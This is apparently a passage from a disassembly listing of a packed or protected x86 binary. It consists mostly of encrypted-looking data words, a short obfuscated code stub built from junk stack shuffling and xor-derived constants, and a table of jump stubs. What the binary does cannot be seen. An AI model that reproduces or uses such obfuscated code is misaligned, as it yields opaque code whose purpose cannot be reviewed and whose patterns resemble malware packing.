0F74CBD1Eh dd 76B7438Eh, 7A9B29A7h, 20D16D3Eh, 75EBA65Ch, 10FBCD90h dd 119F20Eh, 93650188h, 0E119776Ch, 0C5000000h, 76E1C781h dd 178E370Bh, 0A66748BEh, 0ECD688D7h, 0A680C01Fh, 0C1075A39h dd 66FB54EAh, 85D8AB62h, 0BF29E5C3h, 94EB6016h, 494563E5h dd 1523362Eh, 94EB789Bh, 0F7D470EEh, 6EF9F646h, 0FDDBD4C3h dd 8A979169h, 3B90B4ADh, 0D7EAE627h, 0AE8AC64Fh, 85F574B0h dd 27D1FF68h, 4A730C8Eh, 0CB1F9307h, 0C658B395h, 28675279h dd 0A7BB1032h, 2560EF0Bh, 808F0B3Dh, 83685C05h, 0CB201A3Ch dd 1A3C1BB7h, 76B7CB20h, 0E70D372Bh, 50593A61h, 0CDE265B6h dd 0CA000001h, 1C7BB791h, 6C8B0739h, 0BDDAD6E8h, 966A2BAh dd 46B36F51h, 6E500693h, 3F0955B2h, 89B3A4C3h, 5472F20Dh dd 5F6D8258h, 92DB0FADh, 818CA4A0h, 0CC2BE7D9h, 0E976B294h dd 0C0BC4E5Ah, 8AD194EBh, 41AF1D7h, 0F1CB8FE8h, 185041Ah dd 85D21F6Fh, 0C6EA7277h, 123E0D8Ah, 6D3F2A98h, 91B7AEEDh dd 6C88243Ah, 2AA3319Fh, 48E96D3Fh, 0C42C4674h, 0CDD0776Bh dd 0F2000000h, 54D6E271h, 2994EBC0h, 8D5E68F2h, 495851EDh dd 7FC2290Fh, 0C60AE1DBh, 94EBDC3Fh, 4F264F3Ah, 0D1D74CDCh dd 943FB666h, 4647B1DEh, 0E31F393Bh, 5039CC84h, 0B7C6328Ch dd 63D03B57h, 6371DE13h, 7539215Eh, 13BE2931h, 3FB96B05h dd 89001E6Dh, 8FE454D5h, 7D213440h, 0DA44730Dh, 76480E8Dh dd 0C3055DBAh, 598E39B1h, 0A6A97A50h, 0E4h, 609CA8B5h dd 0B06C5007h, 0C33F0157h, 0F8BADA4h, 58546EF0h, 69F16A2Dh dd 1E3C5B57h, 0CA8FE824h, 9BDD3AF6h, 749B41BDh, 0DB10C668h dd 0A5BDBB92h, 0A9D4D981h, 35593111h, 76F8E6E9h, 9794EB50h dd 0E10FBDDh, 9511ADADh, 754F0F8Ah, 3ADBB96h, 7694EB50h dd 425D4CE8h, 0F4E82402h, 0AE1C781h, 0E3AE5847h, 3699CF94h dd 8EA8A8F7h, 95AB1B12h, 128F44C3h, 0D807A30Bh, 0DC21FFCCh dd 0BF0C128Ah, 0CAC6E060h, 21073E5Dh, 2A75B4CAh, 11BF0C2Ah dd 0E558141Dh, 0C9DDA15Ah, 126DA98Fh, 16484752h, 9543DF2Ch dd 1538161Bh, 7754F06Eh, 0BC0F2928h, 0E5C6E661h, 2CFFC196h dd 0CDA498DDh, 4C6226DFh, 0F6A53214h, 2454797h, 0CEB9C12Ah dd 0BD8A0DA3h, 1D3C9C4Eh, 550980B0h, 0CF1C3A3Ah, 384h dd 7A5E7200h, 3E8DC81h, 49A284BCh, 705B6DF2h, 0B417312Dh dd 0FCCFF169h, 2487B9A1h, 6DBE9ED9h, 97744A0Eh, 0D8331548h dd 71006808h, 2C890000h, 5B636824h, 34890000h, 37A36824h dd 14890000h, 2A8BBE24h, 0EE810699h, 1, 23CCE681h, 0C6810308h dd 428A44Bh, 4C2F68h, 24248900h, 4240483h, 0BB53565Ah dd 698323F5h, 4245C31h, 8428F5Bh, 0F5087281h, 0FF698323h dd 835A2434h, 34FF04C4h, 0C4835E24h, 0AE16E904h, 0EBBFFFFAh dd 57223AE6h, 0EDABF335h, 0B88E9666h, 630D13Dh, 0E0FFC503h dd 1F245A3Eh, 2881FAC9h, 4523699Dh, 134DDD2Dh dd 0D2868D8Dh, 6A0630h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 9D8B22C3h, 62B01F1h, 0EE18D89h dd 0BB66062Bh, 85C710EEh, 62B21E1h, 6924h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 88C35242h, 5459E097h dd 3388130Dh, 0D6BA66C1h, 0E585C796h, 62B2Bh, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0AB0AC356h, 2A5DB5FFh, 8E0F062Bh, 16h, 11E9h dd 85279000h, 0B42BAAC2h, 4A0F0E02h, 0A3D43EBh, 95FF9799h dd 62B2731h, 6ADF8B66h, 4595FF00h, 8B062B29h, 3519EBC0h dd 3B319EA4h, 2537662Ch, 672D0C3Dh, 210A55A1h, 74F04DD0h dd 0EBC69F19h, 0CE8h, 0F7089000h, 84C168BDh, 9F4E8DE6h dd 0D19529E5h, 59062B09h, 6890Fh, 85890000h, 62B32CDh dd 5A12C181h, 13E90000h, 0BD000000h, 0D78A12C9h, 7475FF9Bh dd 0B1867D4Ch, 5A5EE4FCh, 68347Dh, 8B000000h, 2B2ACD9Dh dd 95895E06h, 62B1D01h, 0F31048Bh, 685h, 8CF38100h, 815BFAADh dd 6A8966E8h, 91BD8B73h, 81062B25h, 0F466CDC0h, 0F5958B42h dd 81062B1Eh, 6467E7C0h, 0BF66566Bh, 505B627Ch, 11E9h dd 3A5B8B00h, 7DC95E45h, 0DCABF4E1h, 0CE605F12h, 48F254Bh dd 5870F31h, 0BB000000h, 4B87FDD5h, 0EDCF8166h, 0EDEE8187h dd 0B678AD96h, 0E9C68176h, 8B78AD96h, 2B1EB99Dh, 0B8FE8106h dd 0FFFFFA6h, 0FFFF8385h, 0E8F18AFFh, 0Ch, 29C6CDDFh, 39100730h dd 9D48B5D0h, 8846BF66h, 0EE959h, 1870000h, 14398CF7h dd 7A7E30CAh, 1279DBE1h, 6727C181h, 0F7810000h, 354F7B95h dd 0CF5BCCB8h, 0D3C08175h, 898A30BDh, 2B19DD8Dh, 89318B06h dd 2B1991BDh, 0E0F68106h, 0F4E347Dh, 683h, 0F5953100h dd 81062B0Ch, 0E71DC4F6h, 59BD8B77h, 81062B1Ch, 0A6B6EC6h dd 2177BA13h, 31893F03h, 2BE18D29h, 0E983062Bh, 68F0F04h dd 8B000000h, 2B210D95h, 1E88106h, 0F000000h, 0FFFFAC85h dd 8E8FFh, 0D4CE0000h, 0C705556Ah, 860F31A2h, 6, 2771BD29h dd 0E95A062Bh, 29h, 54829FB5h, 9 dup(0) dd 54BE900h, 7EDF0000h, 2A314E4Ah, 0DB819E1Ah, 97CE29E5h dd 441A75B1h, 847B8602h, 817D471Bh, 0D6D2F466h, 609CA0B9h dd 0AF6B4D07h, 0B8325EEDh, 0CD92DB14h, 0C7817357h, 0A3B70AE1h dd 0E6F2075Ah, 94EBC044h, 69852139h, 8ABEA3FEh, 405F03h dd 0FE76C526h, 0A9ACF3D8h, 73E93497h, 20237E4Dh, 55EEA704h dd 1E17FE71h, 0EACC842Ah, 8692212Eh, 94EBC0E4h, 0F9088199h dd 47A05C60h, 7EDD2E12h, 5A3139DCh, 226E2019h, 76C17C58h dd 570B4F29h, 0E276D16Dh, 146B40DCh, 51AC7F41h, 5F61F708h dd 2C01E8C3h, 0F6F4258h, 25F2AC0Dh, 910C0389h, 0CA11FACAh dd 0C555B690h, 3C760A9h, 251F405Fh, 43C49DE4h, 0D89251Fh dd 775472F2h, 0EB2AC859h, 6C50E194h, 137C2BB6h, 8564D165h dd 0BD6903CDh, 21C94EBh, 56620C8Bh, 8D1A7D97h, 0C4000000h dd 7E481271h, 51C8DADh, 92B4A643h, 803CC2A5h, 0D77322EAh dd 0CC8EFD88h, 82AE8655h, 0FE8F212Fh, 0E75E94EBh, 6754EAC1h dd 6D6332FBh, 94EBFEDDh, 4D794DF6h, 7D971821h, 1C5h, 0DA810100h dd 0A7BA01EAh, 88074AA1h, 39B3C1D4h, 4C94EBC0h, 2877B6D2h dd 0F5B1DC29h, 68C2034Fh, 500483CCh, 27ECBF6Eh, 0E1E77D18h dd 8CB5740Ah, 596FF2B8h, 6827B25Dh, 6903CDF7h, 1C94EB21h dd 0FC748B02h, 0B01E8DDAh, 9C85F2FAh, 2DB16D9Ch, 78E7D981h dd 8801471Dh, 8DB3A6F5h, 9276EF3Eh, 84003A1Ch, 0FCCFE96Bh dd 2685BBA1h, 0C1EDD160h, 7D96DFB5h, 6749h, 0D9819500h dd 0A3B904E7h, 6DF34E9Dh, 342D705Bh, 7BF0BB10h, 3831E087h dd 0D6E86E44h, 0A3A5BDDAh, 0D4860548h, 6DE43BF2h, 9FA6604Bh dd 0E0037FABh, 56BB7D96h, 27000000h, 0EE1A0271h, 62CDF768h dd 33FA594Bh, 7B506AECh, 0A2093324h, 0E6C5FF5Fh, 2982C69Bh dd 70F7CB64h, 0D0D6AA83h, 0F779878Eh, 8A94EB43h, 18BC7894h dd 1EADA81h, 0EBC03ECBh, 0DDB81794h, 0D76B4084h, 2D592DD6h dd 7D96DA41h, 6A5C009Fh, 7B30F981h, 1, 26DB8167h, 60BF0C32h dd 5FE3C8FAh, 0F944A7C3h, 0AC5E6A7Fh, 0CD94EBC0h, 0EBC00DBFh dd 1DDE4094h, 1A0AE17Dh, 0D58B1FE3h, 0C63637F3h, 0F0D9527Ah dd 0EB2D4AE4h, 54233F94h, 39F7606h, 144A49D4h, 4841D932h dd 0C6964D48h, 0DDE408Ah, 0C9C4B35Eh, 6BEA67C5h, 57B33D2Bh dd 58C66D3Eh, 30164E51h, 0FFD99BF4h, 5710A02Ch, 0F0756D3Eh dd 88AEA60Ch, 5771F30Ch, 92F2974h, 6E0FD3DEh, 2710272Fh dd 5522FB71h, 0AC8B531Ah, 881B92B4h, 0B1671239h, 33A0B139h dd 7B4FF831h, 0B092C8C7h, 0BBC6C75Bh, 0F4639FB9h, 30F9DF99h dd 6C82DD89h, 15B8177h, 6F4D0000h, 7785D21Fh, 8AC6DE72h dd 93BE0D0Dh, 3E76F804h, 240B6D3Fh, 3F3E9618h, 0DB77EB6Dh dd 8095CFD2h, 3F3EFA74h, 77938F6Dh, 0C2E45CBBh, 322762E9h dd 59B28ACDh, 2E3AA5C1h, 6D3F3E9Ch, 61A069F1h, 97EAC1E7h dd 0D12CFFC1h, 0A751BA8Ah, 4427CABEh, 0CD872B1Fh, 3E22CCD8h dd 0CB576D3Fh, 26C73AFh, 0BA776BD8h, 38h, 0D3206F24h, 0C49AF984h dd 98112982h, 0EBC016F8h, 0D4372B14h, 2CDEEA79h, 2114EBC0h dd 2EC0F039h, 814EBC0h, 8770DF1h, 0BE507CEBh, 0D394EBC0h dd 0BAC0534Fh, 0B6000000h, 7E481271h, 0C12E9E8Fh, 0CB8C0B96h dd 29371AF1h, 94EBC087h, 0C1C864FAh, 0C6DBF2CFh, 0AE7D1D8Ah dd 0FB371153h, 2982A49Ch, 3F2414A3h, 0B1EC736Dh, 0EF1891B7h dd 0FBDD971Bh, 72BE0E3Fh, 11BEDAECh, 0C798F782h, 46102EFDh dd 6D3F3AA4h, 0EADC82D9h, 2CDD7901h, 8D626A4h, 0ACB84773h dd 674FE602h, 4322EB77h, 42410CDFh, 0A0FF2E18h, 2A5986A0h dd 0DA5B8911h, 73E44397h, 2DDC6249h, 6A5E035Eh, 13263A81h dd 4F0B6B05h, 0E4001E67h, 12F60F07h, 0BAE406Ch, 0BFA3674Fh dd 9074E923h, 0E06F84F4h, 78E776D4h, 6FD41B79h, 0F10BC533h dd 232CE804h, 0CB810574h, 22EB6C72h, 590271A4h, 28F2135Fh dd 1161921Bh, 0E76573DCh, 6A8ADC7Ch, 5D3817F4h, 51E9C21Ah dd 0EA0F4958h, 377A5177h, 0C2BCB2D6h, 9B375375h, 0F708514Ch dd 0CAC35F61h, 5F79FB14h, 0D203408Ch, 0B243E92h, 0D7F17337h dd 0A284BCDBh, 3D035635h, 671239CCh, 9DFE48F0h, 280C47B5h dd 0EA23BFC3h, 13F8DC97h, 0A208FC61h, 0EF0884A2h, 0D1785375h dd 12h, 30144F4Ah, 1271DDF9h, 8F93784Eh, 139AACB0h, 0DC81F7D3h dd 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh dd 9ED92487h, 4A0E6DBEh, 15489774h, 5008D833h, 405E089h dd 83000000h, 48704E8h, 34895C24h, 686C6824h, 1C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edi push ebp mov ebp, 0A0274F9h push esi mov esi, 79DC6F60h or ebp, esi pop esi xor ebp, 7DEEABA7h mov ebx, ebp pop ebp push esp mov edi, [esp] add esp, 4 push esi push edi mov edi, ebx mov esi, edi pop edi mov [edi+8], esi pop esi push dword ptr [esp] pop edi add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_544660 ; --------------------------------------------------------------------------- db 4Ah, 0EEh, 58h dd 0D93BB8D2h, 0C5030630h, 0E99DE0FFh, 5DAD5750h, 200077E6h dd 90A96F6Fh, 9F0B33B9h, 0B71568Ch, 0AE61E59h, 7B506852h dd 40692AF0h, 16C21072h, 19262605h, 7D961CF3h, 754E5D10h dd 51323BA8h, 0D25D6E37h, 0E0D078CDh, 80293E9Eh, 3E2A50D0h dd 6715064h, 1BF76031h, 42FC4F52h, 0DF720950h, 551A595Ah dd 5420265h, 54EB393Ah, 0A1BB2216h, 7FE95544h, 83000001h dd 724347h, 0EC870268h, 8F4FFE4Ch, 24082358h, 77512856h dd 54082B56h, 7C512058h, 7F380B71h, 0F4515924h, 12D3A270h dd 0A39FA6C4h, 98501EB6h, 28516F14h, 1, 4000000h, 2 dup(0) dd 2F000000h, 0 dd 8000000h, 0 dd 53000000h, 65747379h, 5020006Dh, 65636F72h, 5D7373h dd 45h dup(0) dd 0A4E90000h, 68000016h, 630DD88h, 0FB7452E9h, 0DE7068FFh dd 48E90630h, 68FFFB74h, 630DF4Fh, 0FB743EE9h, 0E03668FFh dd 34E90630h, 68FFFB74h, 630E22Eh, 0FB742AE9h, 0E3B568FFh dd 20E90630h, 68FFFB74h, 630E467h, 0FB7416E9h, 0E50968FFh dd 0CE90630h, 68FFFB74h, 630E700h, 0FB7402E9h, 0E7D468FFh dd 0F8E90630h, 68FFFB73h, 630E898h, 0FB73EEE9h, 0E94968FFh dd 0E4E90630h, 68FFFB73h, 630EAE2h, 0FB73DAE9h, 0F00C68FFh dd 0D0E90630h, 68FFFB73h, 630F101h, 0FB73C6E9h, 0F74602FFh dd 0AE155E33h, 80EDB74Ah, 79CA896Ch, 57A2E085h, 6D1B30D3h dd 0BB5ED227h, 9E73B7F8h, 0EB8E62D9h, 0AAA65AABh, 0D3A0EF83h dd 0E2BD91EBh, 8B2D74D1h, 76F867C8h, 24DD55C2h, 7B93F5F1h dd 208312C9h, 195B7B3Bh, 33A72BD4h, 3982CD0Ah, 0F66908BEh dd 1C106121h, 89F6BCADh, 9497DB0Fh, 0C7DED5ACh, 7E342554h dd 97DB0F31h, 9EE1242Ch, 552CA25Dh, 9C41E94h, 9319DE6h dd 0B8E49D8Eh, 0AF7B5C12h, 0C209750Ch, 0BE91F0FAh, 0BF0A488Dh dd 18F78E00h, 327DDA0Ah, 0BA8CA8C9h, 771A753h, 38h, 47B4F156h dd 0C225EF3Eh, 4CCB3678h, 4B2756DAh, 9DE62699h, 2CD5C48Ch dd 0B8BD3DC7h, 2695D2DBh, 0F48D31B9h, 0D7DE0D7Dh, 67A291F0h dd 3B64D6BFh, 0AEB171A7h, 0EE000000h, 75077B3Bh, 66F34D54h dd 0CD3273D6h, 3B79DE59h, 0C88851CEh, 535F7079h, 97DB5BE4h dd 312071F9h, 0A559A8E8h, 0DB60F969h, 0AE175F97h, 86EFB74Ah dd 6E371419h, 32A61150h, 0B9740D85h, 0EE84B526h, 9DE6733Ch dd 0CCFD3139h, 4B43C753h, 0FB9AD803h, 1B029D00h, 19622DEAh dd 445C3A78h, 0B9A19BCEh, 0B80D4BB0h, 96E3A144h, 0B08BA4D9h dd 0DCA8978Ah, 1423h, 6286F7B3h, 8579C68Fh, 0DF539EE0h dd 0F4087B3Ah, 2E65311h, 0D89EEC61h, 0A9F4896Dh, 8ACFA246h dd 5C24F93Dh, 54151115h, 0EBD2115Eh, 130C91h, 0F4087D3Bh dd 0CE05111h, 29C225DFh, 34630F20h, 2997DB0Fh, 36F5021h dd 9DE62651h, 0FCED1C44h, 0F01949B6h, 95EC5491h, 197FACDAh dd 0EA0391F0h, 0B48622Dh, 4A8F08BCh, 8A3CBB0Ah, 0F2A07F06h dd 0A6789FE9h, 3578DD71h, 0A99DABCAh, 0B2000000h, 8D0A7B3Bh dd 3CBB0E54h, 0DB34C272h, 0D51C6497h, 8DF4BC51h, 53CCD312h dd 2786442Ah, 8E839DE6h, 2ACE72C9h, 0D4C55649h, 0CED331DEh dd 84E8B9Bh, 650902BDh, 97DDAC3Ah, 0F68F3327h, 18472B92h dd 597DDACh, 5BA0A95Dh, 64A1A81Dh, 0A52DAA1Dh, 3D7B1EDCh dd 7B7AC3C5h, 7DE15D56h, 0B075C9F2h, 0E18FCA8Ah, 133Bh dd 7ABE0F4Bh, 9D91DEA7h, 0B74BB6F8h, 0CC2093D2h, 1A1E6B29h dd 0F0B6D409h, 0C18C6185h, 0A2E7BA7Eh, 743CD155h, 4C7DE90Dh dd 0EBD1F926h, 0F82BE491h, 0F4087D3Bh, 0F9E05111h, 72ED541Ch dd 8AD1A5FCh, 185B7B3Bh, 32A628D7h, 28145C85h, 0A453A4E3h dd 0F194622h, 5C0497DBh, 0EFB154A8h, 33181582h, 1E900F70h dd 63D29287h, 9AD93E8Fh, 706B4829h, 0B2034388h, 39F48D05h dd 6E0435A6h, 9DE65A48h, 0D4952D15h, 57C02D77h, 0C976C582h dd 7EC4DD41h, 8A6A6B2Ch, 42832184h, 6BDEA422h, 0DCFB7AECh dd 6753238h, 0F96D1199h, 65E8A2F0h, 65ED6C47h, 0D2C0F1FAh dd 60516265h, 0EAA1F078h, 3D7178F3h, 6A60E6D5h, 20515800h dd 4B2A9BDBh, 7BBF064Eh, 0D897DEA6h, 7C4F45B9h, 5CF1BFBAh dd 74000012h, 4025D930h, 997CB0FFh, 0F3966AD7h, 0CAAF43B4h dd 2EC5398Ch, 0A4115735h, 99E2AD40h, 74C38065h, 2C95DDB0h dd 16D5CC8h, 91EBD0D6h, 3BC1D0CBh, 4A8D0A7Bh, 0DDD1D853h dd 9DE636BFh, 64B641Dh, 35B99601h, 52636A8Ch, 1978C793h dd 56679BCFh, 931E4925h, 5F0391F0h, 0A0115146h, 14388B9h dd 0E38F03BCh, 91F093B4h, 0A8A11046h, 345AFB75h, 0F1FA750Ch dd 99F84F14h, 7960FBE2h, 0C3909535h, 1C6F79Bh, 49B6F23Fh dd 5497C0A4h, 0F3395ECh, 0B617651Eh, 0DD96EAFFh, 4FC83778h dd 0CC09BADBh, 24F93D84h, 7F40185Ch, 211568D4h, 0DCC302BDh dd 94545A43h, 0D19DF37Fh, 0DB9B6069h, 3627966Ah, 0F04B0F78h dd 0EB2E1291h, 5C3958ADh, 0F332AD14h, 244A73ECh, 9BCD6846h dd 7B10DF83h, 7C8AAAAFh, 1175B3C1h, 490D0000h, 18593CF0h dd 0F0B257ABh, 0CD94698Dh, 0A5E3867Ah, 1E37DC50h, 5BDF2A68h dd 7CB0FB46h, 8B6FDC99h, 0A347AEF6h, 0BFE886A7h, 0A291EBEFh dd 7D3BBEE9h, 2EBF6805h, 1EF3FC0Ah, 8165E954h, 4970EBF2h dd 1C4B2758h, 197DB67h, 67E22D59h, 4BFF97DBh, 0FB64CF96h dd 0F1BD2E77h, 9DE62D13h, 1CC572E6h, 8DF4BC54h, 14E89C12h dd 0B1FEB4A5h, 0AC91F052h, 7838DDA4h, 0A8179B8Ch, 0B591F052h dd 52B6E18Dh, 0A7AB91F0h, 3C190A33h, 36610D74h, 2B91F052h dd 20E35E27h, 0CE3473BDh, 0C5E4FC1Ch, 99068A0Dh, 367C6D11h dd 9BCD963Ch, 0A4135049h, 509BE63Bh, 3F1335ACh, 28E3ADABh dd 33EE3BA4h, 0C92D7563h, 397A3370h, 5CC54DCAh, 0CF765B89h dd 2F5D7175h, 0C226AABDh, 0C3DAE31h, 5F753E1Bh, 0BF33AC19h dd 4E046A0Bh, 0DC9DE6FAh, 52CD3A7Fh, 0FF63C5DCh, 6ED79F40h dd 515D4E7Fh, 91F085E6h, 0CC3B77FBh, 0D191F085h, 0CB590869h dd 0D41D65A2h, 2A20F2CDh, 3138B3h, 855483EFh, 14991F0h dd 0F0853A65h, 8C3E2791h, 0DEC1348Eh, 4A7B1A8Eh, 0CD896E24h dd 53D79B9Bh, 9E8FF6BEh, 0F6D6016Dh, 87CB97DBh, 0D43743FEh dd 0DA97DBC6h, 612117FFh, 0BAF8E910h, 97DBE64Dh, 0AD89E850h dd 0BE3988C8h, 0DECF6047h, 89F6BCADh, 9497DBE6h, 0E61A4529h dd 530797DBh, 0C5286AAFh, 0D5D076BCh, 0A5AD9DE6h, 0A0EF83B4h dd 0BD91F0EAh, 430EECB5h, 0FA00773h, 5681ED1Eh, 2C91F0EAh dd 0F0EA1946h, 4A5C0491h, 204E7F06h, 9BC304B0h, 0F025BDA5h dd 0AED847B2h, 97C0307Dh, 5059D2D5h, 0F3DE7242h, 483E279Dh dd 28A7F078h, 488DBC20h, 9FB0B908h, 0F05CA413h, 0E0B1B991h dd 0C62F770Ah, 0F2C28059h, 79E64B15h, 5C4AB5F1h, 0B25791F0h dd 911986F5h, 0E3CE79EDh, 0D490D5A9h, 0F7D1B69h, 51150000h dd 206104F8h, 0F8BA5FD3h, 0D59C71B5h, 0ADEB8E62h, 16CFA458h dd 23C73270h, 44B8034Eh, 9397E4A1h, 0AB4FB6FEh, 0B7E08EBFh dd 0AA91EBEDh, 2AEFA6F1h, 0EB9F186Bh, 9A057036h, 0CA888D14h dd 9EE6BB7Fh, 2F77A857h, 0FE02F43h, 75FD97DBh, 5E3956C1h dd 0B10040B4h, 6285F77Dh, 93506B7Bh, 0F000001h, 1B6A2AEFh dd 6CD59D7Ah, 9A662EF3h, 0DB0FAB14h, 1E82B697h, 4486191Ah dd 0CA0F88FFh, 35BD3A89h, 86EC1D81h, 9DE6094Ch, 4388B1B9h dd 6FE2B304h, 0F00EC803h, 52B7B491h, 0FFD2A312h, 5FFC4E17h dd 0C57E71A6h, 133B5883h, 0B168773h, 5245ADACh, 9C4337AEh dd 0E5C35207h, 5C8C9Ch, 4C10000h, 0DB4FC83Fh, 0C2256BBAh dd 960F2029h, 98E4E12Ch, 0C2207124h, 9DE66110h, 91DAA562h dd 0B71160E6h, 0E6171483h, 0F05E5F88h, 871E4291h, 0F05ED03Bh dd 0A571AC91h, 15DBA663h, 0F05E2E99h, 9B0F3391h, 0B40872FAh dd 957271A6h, 4AFC7BD0h, 8B4EF7CBh, 0E7BE73DFh, 0AA41h dd 7B3BFE00h, 0F39A030Ah, 0CE92657Dh, 0F0291879h, 0D3D847B2h dd 0BFC62D76h, 0AC2B9ADAh, 0CC8B2B6Bh, 0B2DD1E76h, 3CA0C82Bh dd 679B0F83h, 0DB873B2Bh, 6CD59D97h, 7BF4EB88h, 7BCD3C72h dd 40089DE5h, 0C5B7FC59h, 0F6047EA9h, 4BFF6391h, 165CB92Ah dd 0C57E4FA3h dd 0BB0DB489h, 0CA8B4E3Fh, 397F1C65h, 0C38063CCh, 0C47390D7h dd 0DF6B8h, 73CA8E00h, 2A99DABFh, 0C7133D6h, 0E54E15E8h dd 0D3266C01h, 0E99FB45Fh, 0C7DA5EABh, 1AFF337Ch, 770AEE5Dh dd 2622C62Fh, 0EC3C6B07h, 6E2191EBh, 87D3B3Fh, 0E05111F4h dd 1A58BD0Ch, 3B77D6AFh, 548D0A7Bh, 57B4A50Ch, 2463A60Fh dd 0D3A224D3h, 0F34202E7h, 811A8D44h, 5CEC1A98h, 49F19DE6h dd 49BEFB40h, 7D3958CEh, 75A33h, 7D3BD800h, 0DA980108h dd 1B7EB2E4h, 4F3B364Fh, 97DB461Ch, 0A9EF31B4h, 49FD460Dh dd 0A5D458CEh, 0E8A8F1C9h, 94DDB49Dh, 8A3EB02Fh, 0B7FE4683h dd 6FD69E73h, 4D692FF0h, 0BF08BC05h, 90DAEA46h, 447E0A49h dd 5C00000Dh, 0A84DA118h, 816498E7h, 0DBBE72BFh, 32D72B9Ch dd 6ED0174h, 8CF9BFCDh, 61CA9568h, 5CABE88Dh, 347DC5D8h dd 397574F0h, 91EBEBCEh, 0EFE938D3h, 94B692Ah, 0B46130A4h dd 82679BEEh, 13C473C2h, 1475E253h, 2363693Dh, 62D45ED2h dd 0BF6B7B63h, 0Dh, 323492ECh, 5D2B97DBh, 0FFFFFDC8h, 682AEFF2h dd 3C828808h, 0A054D473h, 0D83E6DD1h, 0F9697DBh, 81016D9Ch dd 0F49DE836h, 0B8F85D4Ch, 0C704B549h, 9DC63A80h, 0EEA12D7Ah dd 367E1B7Ah, 0C98F50CFh, 6204F37Ch, 48F790DAh, 0CA23Ch dd 7763200h, 0FE450EE3h, 0D01D673Ah, 89FAB95Ch, 67D29075h dd 1D6BE083h, 6B0EE257h, 4E23C728h, 9B7EB209h, 9A966ADBh dd 0EA90DFD3h, 928D91EBh, 0A7B3B83h, 8AE7808Dh, 9441401Ch dd 0A2E2B7CEh, 4FF34202h, 0D136B7D0h, 4EB12091h, 3328F0A2h dd 1501D0A1h, 12165F27h, 7BD42610h, 17F36Bh, 92A80000h dd 97DB3234h, 7D31222Bh, 97DB0532h, 165A3B2Fh, 0FFFFFD10h dd 6D76EFB5h, 77B8E3E4h, 50574E57h, 0F1BDAEDFh, 97DB4B86h dd 0C8A6D79Bh, 97DB4B9Fh, 6C7DE82h, 0E6752268h, 0A33279Dh dd 412A9519h, 33791F0h, 803F86CEh, 8EF8770Eh, 91F0415Ch dd 5431E520h, 71A6ACE2h, 19D3Fh, 76EF6C00h, 478CACB4h dd 0A5C9F056h, 97DB1A7Ah, 5CA2F367h, 97DB1A7Fh, 0CB7FCC89h dd 43B2F257h, 3B8ACAAFh, 1D21F2BCh, 0D04F97DBh, 278ED6C2h dd 0A5C9FAC3h, 97DB1A7Ah, 0EBA2F367h, 1AFF78EDh, 7217EB5Ah dd 2A54C332h, 97DB1D51h, 1F642EEDh, 6B7B742Dh, 14588h dd 7B3BA700h, 0C548D0Ah, 6A2DD2A8h, 0BB2FC9AEh, 3E1055B2h dd 0DBA40770h, 0A2561A97h, 16E4BD35h, 0F8E17A6Dh, 0F24102C7h dd 0A2055FA3h, 48F09DE6h, 0A568A3CFh, 0F91491F0h, 1142FB2Dh dd 47E4B772h, 18620A6Bh, 4271A67Ch, 1A125D51h, 5B0F91F0h dd 322E3Ah, 0E3F0000h, 1A26911Dh, 373B91F0h, 0F01A0C7Bh dd 48291191h, 29C225F5h, 26807220h, 0AD959DE6h, 19074432h dd 9C7B91F0h, 789BEDF6h, 0A16671A6h, 15000000h, 1B5B7B3Bh dd 0A9F42DAAh, 0B12ED246h, 0A8155FBCh, 3DDABB2Fh, 4C950277h dd 0DD02BD04h, 9CC82C95h, 97DB271Ch, 8BCAEAAAh, 4C06BF38h dd 9DFFC41Dh, 9C900488h, 7E6F00E7h, 7EC9884Dh, 1252DB27h dd 0A3979DE5h, 0A2175DBAh, 98EDAB4Eh, 0D7B9EA2Fh, 26EED90h dd 0AABh, 0EA0E7F3Bh, 0DE14E17h, 27DB2668h, 7CB00342h dd 8A6EDB99h, 602664F9h, 317C1115h, 12572ACEh, 0E4AC41A5h dd 0DCED999Dh, 0EBE869D6h, 889B7491h, 1B6A2AEFh, 8E8BEA9Ch dd 0E4B97DC8h, 95C2D09Ch, 8897DB0Fh, 73D85CC0h, 1A692AEFh dd 8F8C159Dh, 18C17EC7h, 47E0E958h, 0A3A1FCE9h, 9B5F2677h dd 4162Dh, 8413E200h, 0F767C37Ch, 19433E2Bh, 811A8D78h dd 88E51A98h, 70F89DE8h, 0BEB42BE0h, 0EBBC87F0h, 22D69A91h dd 9D51773Bh, 242C9BD6h, 0A39CCFBBh, 25E097C0h, 0B221471h dd 92FF6B97h, 0AC000003h, 0DB0F3992h, 0FF22697h, 438897DBh dd 1758BD02h, 0CBD2C9A8h, 0D3382950h, 32B42394h, 2DAD1F63h dd 60E89DE6h, 0D5750CC7h, 24500F90h, 9D7h, 0DE52ABEFh dd 0F1357A3Bh, 0BEF521Ch, 20C42F76h, 7EB2074Dh, 8CCAB095h dd 5D20C539h, 3E7B1E12h, 105035C9h, 0E8C14DA1h, 0EBE85D8Ah dd 5C4F4091h, 8D0A7B3Bh, 0D1D8534Ah, 0E8E1D9DDh, 1F66A39Dh dd 727BCDD4h, 0EBD5F33Ch, 0F67AEE91h, 0CD5E4132h, 3B26D6DCh dd 3F239BD8h, 7A381D0Eh, 0DEA1760Fh, 8C3087CCh, 8973C68h dd 746F97DBh, 0EC7307Eh, 96DA97DBh, 108FF0B3h, 7316EA9Eh dd 0FB244A30h, 0E697DB0Eh, 7ADFCE72h, 0C54DCA39h, 145C85BCh dd 0BF03BCADh, 86504319h, 0A2ABA6FFh, 0BE851D65h, 0D044CA75h dd 9D3CAC1h, 0CE40FF4Ch, 71E54A0Bh, 8EDC2A48h, 59019DE6h dd 0D64D3FEEh, 77053090h, 913h, 9296E7A3h, 0B549B6FFh dd 0CF238ED0h, 0E4186B2Ah, 32F64301h, 0C88EFC51h, 99E4B97Dh dd 7A3FD256h, 4C14E90Dh, 240501E5h, 0EBE7014Eh, 10031C91h dd 2029C225h, 2487CA0Fh, 6E37BBh, 9DE8E198h, 0ED561DFAh dd 1D0C3494h, 9A5673ECh, 0BF240AFCh, 0D6E31E6h, 0C3AFC0E9h dd 91EB8794h, 0DBB0C189h, 